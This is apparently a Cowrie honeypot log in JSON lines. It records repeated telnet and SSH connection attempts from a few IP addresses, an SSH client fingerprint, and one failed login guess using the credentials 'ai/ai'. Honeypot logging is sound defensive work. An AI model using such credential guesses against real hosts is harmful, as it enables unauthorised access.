{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":60914,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ed32911de9d","protocol":"telnet","message":"New connection: 66.113.179.55:60914 (10.17.0.5:23) [session: 8ed32911de9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:24.970265Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":32846,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6c39c470a4b","protocol":"telnet","message":"New connection: 66.113.179.55:32846 (10.17.0.5:23) [session: e6c39c470a4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:25.027235Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":33378,"dst_ip":"10.17.0.5","dst_port":23,"session":"564355d1543b","protocol":"telnet","message":"New connection: 66.113.179.55:33378 (10.17.0.5:23) [session: 564355d1543b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:25.202348Z"}
{"eventid":"cowrie.session.closed","duration":31.606172800064087,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:25.360526Z","src_ip":"66.113.179.55","session":"8bc02323e1ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48774,"dst_ip":"159.203.135.109","dst_port":22,"session":"07022853c6e0","protocol":"ssh","message":"New connection: 159.203.92.129:48774 (159.203.135.109:22) [session: 07022853c6e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:25.833206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:25.839906Z","src_ip":"159.203.92.129","session":"07022853c6e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:25.845030Z","src_ip":"159.203.92.129","session":"07022853c6e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ai","password":"ai","message":"login attempt [ai/ai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:25.858376Z","src_ip":"159.203.92.129","session":"07022853c6e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.42364239692688,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:26.069453Z","src_ip":"66.113.179.55","session":"eb3d29842b75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":35986,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c99d07b5ca2","protocol":"telnet","message":"New connection: 66.113.179.55:35986 (10.17.0.5:23) [session: 6c99d07b5ca2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:26.104417Z"}
{"eventid":"cowrie.session.closed","duration":31.09622836112976,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:26.205082Z","src_ip":"50.116.100.16","session":"989a1369304a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":37638,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a86c17ac87e","protocol":"telnet","message":"New connection: 66.113.179.55:37638 (10.17.0.5:23) [session: 9a86c17ac87e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:26.688131Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:26.864628Z","src_ip":"159.203.92.129","session":"07022853c6e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.23427939414978,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:27.064962Z","src_ip":"50.116.100.16","session":"3b98ed24d8c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.863014459609985,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:27.475103Z","src_ip":"66.113.179.55","session":"49f8776464fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.909021139144897,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:27.482080Z","src_ip":"66.113.179.55","session":"b14569094f44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.540122509002686,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:27.520052Z","src_ip":"66.113.179.55","session":"e7f0436a0fbf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.906938791275024,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:28.680948Z","src_ip":"66.113.179.55","session":"081781c125dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":43256,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f4e36e8779f","protocol":"telnet","message":"New connection: 66.113.179.55:43256 (10.17.0.5:23) [session: 9f4e36e8779f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:28.758193Z"}
{"eventid":"cowrie.session.closed","duration":30.88097381591797,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:28.839996Z","src_ip":"66.113.179.55","session":"02e1d53270c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87261462211609,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:28.855959Z","src_ip":"66.113.179.55","session":"a73080fc79bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":45808,"dst_ip":"10.17.0.5","dst_port":23,"session":"4721b6e8def1","protocol":"telnet","message":"New connection: 66.113.179.55:45808 (10.17.0.5:23) [session: 4721b6e8def1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:29.660722Z"}
{"eventid":"cowrie.session.closed","duration":30.587812185287476,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:30.146760Z","src_ip":"50.116.100.16","session":"ea450c711f20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.829526901245117,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:30.598943Z","src_ip":"66.113.179.55","session":"707f1c0b2820","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.054484844207764,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:30.604872Z","src_ip":"66.113.179.55","session":"69c823af60ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.479785919189453,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:30.677279Z","src_ip":"66.113.179.55","session":"ec69d04419c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":48780,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ec10ffcc946","protocol":"telnet","message":"New connection: 66.113.179.55:48780 (10.17.0.5:23) [session: 3ec10ffcc946]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:30.683367Z"}
{"eventid":"cowrie.session.closed","duration":30.92518401145935,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:31.143556Z","src_ip":"50.116.100.16","session":"7a57e6d219b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.880431652069092,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:31.237363Z","src_ip":"50.116.100.16","session":"fee31a734449","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":51166,"dst_ip":"10.17.0.5","dst_port":23,"session":"4584ead3694c","protocol":"telnet","message":"New connection: 66.113.179.55:51166 (10.17.0.5:23) [session: 4584ead3694c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:31.376193Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":51768,"dst_ip":"10.17.0.5","dst_port":23,"session":"79d996770174","protocol":"telnet","message":"New connection: 66.113.179.55:51768 (10.17.0.5:23) [session: 79d996770174]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:31.568027Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":51996,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ad2d6c2d4f1","protocol":"telnet","message":"New connection: 66.113.179.55:51996 (10.17.0.5:23) [session: 1ad2d6c2d4f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:31.639800Z"}
{"eventid":"cowrie.session.closed","duration":30.71448850631714,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:31.683667Z","src_ip":"66.113.179.55","session":"8f9af5f7bfcf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.05914330482483,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:31.716617Z","src_ip":"66.113.179.55","session":"031e93eec49d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.269434213638306,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:32.202913Z","src_ip":"50.116.100.16","session":"b3be10443c5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":55308,"dst_ip":"10.17.0.5","dst_port":23,"session":"9668e1891a77","protocol":"telnet","message":"New connection: 66.113.179.55:55308 (10.17.0.5:23) [session: 9668e1891a77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:32.727380Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":34516,"dst_ip":"159.203.135.109","dst_port":23,"session":"932c00681ca1","protocol":"telnet","message":"New connection: 50.116.100.16:34516 (159.203.135.109:23) [session: 932c00681ca1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:32.909056Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":57382,"dst_ip":"10.17.0.5","dst_port":23,"session":"58c48f73301d","protocol":"telnet","message":"New connection: 66.113.179.55:57382 (10.17.0.5:23) [session: 58c48f73301d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:33.420246Z"}
{"eventid":"cowrie.session.closed","duration":30.85514497756958,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:33.479272Z","src_ip":"66.113.179.55","session":"0d6395fd99e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02440881729126,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:33.495115Z","src_ip":"66.113.179.55","session":"dca1afce5f91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.390520811080933,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:33.506905Z","src_ip":"66.113.179.55","session":"bf1125deceff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.445760488510132,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:34.168463Z","src_ip":"66.113.179.55","session":"be81e70de7d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81196689605713,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:34.175611Z","src_ip":"50.116.100.16","session":"66c44cdf0438","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":35826,"dst_ip":"159.203.135.109","dst_port":23,"session":"a59b77956b3f","protocol":"telnet","message":"New connection: 50.116.100.16:35826 (159.203.135.109:23) [session: a59b77956b3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:34.240356Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":60134,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3bea6153faf","protocol":"telnet","message":"New connection: 66.113.179.55:60134 (10.17.0.5:23) [session: c3bea6153faf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:34.276563Z"}
{"eventid":"cowrie.session.closed","duration":30.988539695739746,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:34.592636Z","src_ip":"66.113.179.55","session":"636a560c6c48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":33194,"dst_ip":"10.17.0.5","dst_port":23,"session":"890053934d9a","protocol":"telnet","message":"New connection: 66.113.179.55:33194 (10.17.0.5:23) [session: 890053934d9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:34.709563Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":36446,"dst_ip":"159.203.135.109","dst_port":23,"session":"a11b4b5005fc","protocol":"telnet","message":"New connection: 50.116.100.16:36446 (159.203.135.109:23) [session: a11b4b5005fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:34.832128Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":36612,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3b463cec195","protocol":"telnet","message":"New connection: 50.116.100.16:36612 (159.203.135.109:23) [session: d3b463cec195]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:34.981895Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":36798,"dst_ip":"159.203.135.109","dst_port":23,"session":"43757a07681e","protocol":"telnet","message":"New connection: 50.116.100.16:36798 (159.203.135.109:23) [session: 43757a07681e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:35.173380Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":35274,"dst_ip":"10.17.0.5","dst_port":23,"session":"2128eaaee771","protocol":"telnet","message":"New connection: 66.113.179.55:35274 (10.17.0.5:23) [session: 2128eaaee771]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:35.407067Z"}
{"eventid":"cowrie.session.closed","duration":30.247047901153564,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:35.472112Z","src_ip":"66.113.179.55","session":"8b4a05ecf122","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.411940336227417,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:35.477328Z","src_ip":"66.113.179.55","session":"cb1e9f69beed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":36086,"dst_ip":"10.17.0.5","dst_port":23,"session":"db448bcd7bb1","protocol":"telnet","message":"New connection: 66.113.179.55:36086 (10.17.0.5:23) [session: db448bcd7bb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:35.688233Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":36514,"dst_ip":"10.17.0.5","dst_port":23,"session":"8114bf0966d1","protocol":"telnet","message":"New connection: 66.113.179.55:36514 (10.17.0.5:23) [session: 8114bf0966d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:35.822372Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":40892,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca8e46256de7","protocol":"telnet","message":"New connection: 66.113.179.55:40892 (10.17.0.5:23) [session: ca8e46256de7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:37.206736Z"}
{"eventid":"cowrie.session.closed","duration":30.593106985092163,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:38.543129Z","src_ip":"66.113.179.55","session":"efb4825e2b69","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":47460,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b4a81f4721f","protocol":"telnet","message":"New connection: 66.113.179.55:47460 (10.17.0.5:23) [session: 4b4a81f4721f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:39.547173Z"}
{"eventid":"cowrie.session.closed","duration":31.07606291770935,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:39.574108Z","src_ip":"66.113.179.55","session":"ac659e480c06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":47716,"dst_ip":"10.17.0.5","dst_port":23,"session":"561da0abff73","protocol":"telnet","message":"New connection: 66.113.179.55:47716 (10.17.0.5:23) [session: 561da0abff73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:39.639599Z"}
{"eventid":"cowrie.session.closed","duration":31.22737216949463,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:40.877371Z","src_ip":"50.116.100.16","session":"c9ec785e9480","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.6683566570282,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:40.991652Z","src_ip":"50.116.100.16","session":"0c52e87297b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83983540534973,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:41.227637Z","src_ip":"50.116.100.16","session":"4d9574fef158","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":52612,"dst_ip":"10.17.0.5","dst_port":23,"session":"8905b72a2b27","protocol":"telnet","message":"New connection: 66.113.179.55:52612 (10.17.0.5:23) [session: 8905b72a2b27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:41.422311Z"}
{"eventid":"cowrie.session.closed","duration":31.326977491378784,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:41.495703Z","src_ip":"50.116.100.16","session":"0a61415b005c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":53838,"dst_ip":"10.17.0.5","dst_port":23,"session":"65cebc5e66bb","protocol":"telnet","message":"New connection: 66.113.179.55:53838 (10.17.0.5:23) [session: 65cebc5e66bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:41.851771Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":55928,"dst_ip":"10.17.0.5","dst_port":23,"session":"436ac689175c","protocol":"telnet","message":"New connection: 66.113.179.55:55928 (10.17.0.5:23) [session: 436ac689175c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:42.638450Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.64.112.9","src_port":54804,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d075056b146","protocol":"telnet","message":"New connection: 186.64.112.9:54804 (10.17.0.5:23) [session: 2d075056b146]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:43.473685Z"}
{"eventid":"cowrie.session.closed","duration":30.134791135787964,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:43.478933Z","src_ip":"66.113.179.55","session":"ceaadd15c7f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.39589548110962,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:43.482941Z","src_ip":"66.113.179.55","session":"3406580e532e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":58376,"dst_ip":"10.17.0.5","dst_port":23,"session":"775c8de67759","protocol":"telnet","message":"New connection: 66.113.179.55:58376 (10.17.0.5:23) [session: 775c8de67759]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:43.553192Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":58788,"dst_ip":"10.17.0.5","dst_port":23,"session":"08b9c39002cc","protocol":"telnet","message":"New connection: 66.113.179.55:58788 (10.17.0.5:23) [session: 08b9c39002cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:43.706529Z"}
{"eventid":"cowrie.session.closed","duration":31.171802043914795,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:43.710527Z","src_ip":"66.113.179.55","session":"898a6d83d05b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":58962,"dst_ip":"10.17.0.5","dst_port":23,"session":"c016cd2bfc9c","protocol":"telnet","message":"New connection: 66.113.179.55:58962 (10.17.0.5:23) [session: c016cd2bfc9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:43.774270Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":59460,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e681a604fce","protocol":"telnet","message":"New connection: 66.113.179.55:59460 (10.17.0.5:23) [session: 9e681a604fce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:43.947235Z"}
{"eventid":"cowrie.session.closed","duration":30.806532382965088,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:44.141553Z","src_ip":"50.116.100.16","session":"b5d567b98281","protocol":"telnet"}
